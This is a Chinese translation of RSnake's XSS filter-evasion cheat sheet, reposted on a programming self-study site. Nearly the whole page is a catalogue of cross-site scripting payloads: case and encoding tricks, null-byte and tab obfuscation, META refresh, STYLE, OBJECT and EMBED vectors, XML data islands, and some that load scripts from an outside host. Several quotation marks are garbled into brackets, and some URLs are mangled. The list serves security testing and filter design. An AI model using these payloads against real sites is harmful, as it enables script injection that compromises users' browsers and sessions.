好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

译文:XSS绕过过滤 - 网站安全 - 自学php

如果你不知道如何进行XSS攻击,那么本文或许对你没有任何帮助。这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理解关于绕过过滤的细节问题 的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到一些最基本的方法来推测剩余的部分。 (介绍部分略,太基础的部分也略,罪过,希望RSnake大牛大人有大量)

不分大小写引起的XSS Code: <IMG SRC=JaVaScRiPt:alert(‘XSS’)>

包含HTML字符 Code: <IMG SRC=javascript:alert(&quot;XSS&quot;)>

沉音符混淆(如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞) Code: <IMG SRC=`javascript:alert([RSnake says, ‘XSS’])`>

畸形的IMG标签。最初由Beqeek发现(整理精简后可以工作于所有浏览器),该方法利用了松散的图形渲染引擎让我们能在被引号包围的IMG标签中创建自己的XSS。 Code: <IMG []"><SCRIPT>alert([XSS])</SCRIPT>]>

fromCharCode 如果你无法使用引号,你可以使用fromCharCode用于eval函数。 Code: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

UTF-8编码 Code: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Long UTF-8 编码可以不使用分号,这样绕过一些正则检查 Code: <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

没有分号的Hex编码 Code:<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

嵌入TAB键进行攻击 Code: <IMG SRC=]jav    ascript:alert(‘XSS’);]>

嵌入编码过后的TAB键 Code: <IMG SRC=]jav&#x09;ascript:alert(‘XSS’);]>

嵌入新行可以进行XSS,一些网站上说char 09 – 13都可以为XSS攻击服务,那显然不正确。只有09 10 13才会正常工作。 Code: <IMG SRC=]jav&#x0A;ascript:alert(‘XSS’);]> Code: <IMG SRC=]jav&#x0D;ascript:alert(‘XSS’);]> Code: <IMG SRC = ] j a v a s c r i p t : a l e r t ( ‘ X S S ‘ ) ] >

NULL字符能逃避很多过滤系统 Code: perl -e ‘print [<IMG SRC=java\0script:alert(\]XSS\])>];’ > out Code: perl -e ‘print [<SCR\0IPT>alert(\]XSS\])</SCR\0IPT>];’ > out

多余的开放括号。提交弗兰兹泽德尔迈尔,这XSS的载体能战胜某些侦测引擎,通过使用匹配的第一个打开和关闭角括号对和做了比较,然后在标签内的工作,而 不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签(后解除困惑,当然)。双斜线意见中提出的结局无关的支架,以制 止JavaScript错误: Code: <<SCRIPT>alert([XSS]);//<</SCRIPT>

未关闭的标签 Code: <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>

未关闭的img 或者 iframe标签 Code: <IMG SRC=]javascript:alert(‘XSS’)]

不使用单引号的xss Code: <SCRIPT>alert(/XSS/.source)</SCRIPT>

各种其他的标签 Code: <INPUT TYPE=]IMAGE] SRC=]javascript:alert(‘XSS’);]> Code: <BODY BACKGROUND=]javascript:alert(‘XSS’)]> Code: <BODY ONLOAD=alert(‘XSS’)> Code: <IMG DYNSRC=]javascript:alert(‘XSS’)]> Code: <BGSOUND SRC=]javascript:alert(‘XSS’);]> Code: <BR SIZE=]&{alert(‘XSS’)}]>  (netspace) Code: <LINK REL=]stylesheet] HREF=]javascript:alert(‘XSS’);]> Code: <LINK REL=]stylesheet] HREF=]http://ha.ckers.org/xss.css]> Code: <STYLE>@import’http://ha.ckers.org/xss.css’;</STYLE> Code: <META HTTP-EQUIV=]Link] Content=]< http://ha.ckers.org/xss.css >; REL=stylesheet]> Code: <STYLE>BODY{-moz-binding:url([http://ha.ckers.org/xssmoz.xml#xss])}</STYLE> Code: <XSS STYLE=]behavior: url(xss.htc);]> Code: <STYLE>li {list-style-image: url([javascript:alert(‘XSS’)]);}</STYLE><UL><LI>XSS Code: <IMG SRC=]mocha:[code]"> (netscape only) Code: <IMG SRC="livescript:[code]"> (netscape only) Code: <TABLE BACKGROUND="javascript:alert('XSS')"> Code: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Code: <TABLE><TD BACKGROUND="javascript:alert('XSS')"> Code: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Code: <BASE HREF="javascript:alert('XSS');//">

US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互。 Code: ?scriptualert(EXSSE)?/scriptu

META协议 Code:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> Code: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> Code: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

对DIV进行unicode编码 Code: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

使用expression属性 Code: <DIV STYLE="width: expression(alert('XSS'));">

STYLE标签 Code:<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> Code: <STYLE TYPE="text/javascript">alert('XSS');</STYLE> Code: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A> Code: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

OBJECT标签 Code: <OBJECT TYPE="text/x-scriptlet" DATA=" http://ha.ckers.org/scriptlet.html"></OBJECT > Code: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>

EMBED标签 Code: <EMBED SRC=" http://HdhCmsTest2cto测试数据 /xss.swf" AllowScriptAccess="always"></EMBED> Code: <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> 在flash文件中使用如下代码: Code: a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);

XML namespace可以引入行为文件htc但是必须在同一服务器上 Code: <HTML xmlns:xss> <?import namespace="xss" implementation=" http://ha.ckers.org/xss.htc "> <xss:xss>XSS</xss:xss> </HTML> Xss.htc: <PUBLIC:COMPONENT TAGNAME="xss"> <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/> </PUBLIC:COMPONENT> <SCRIPT> function main() { alert("XSS"); } </SCRIPT>

使用CDATA模糊化的XML数据岛 Cdoe: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

XML数据岛 Code:<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

Code: <XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> (xsstest.xml)必须同域下

HTML+ TIME Code: <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"> </BODY></HTML> UTF7编码 Code:<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/ html ; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

防止二次执行的expression语句 <a STYLE="x:expression((window.r!=1)?(window.r=1,eval(x.t)):1)"> <x id=x t="alert(0)">

 作者:RSnake 翻译:帝释天

查看更多关于译文:XSS绕过过滤 - 网站安全 - 自学php的详细内容...

  阅读:44次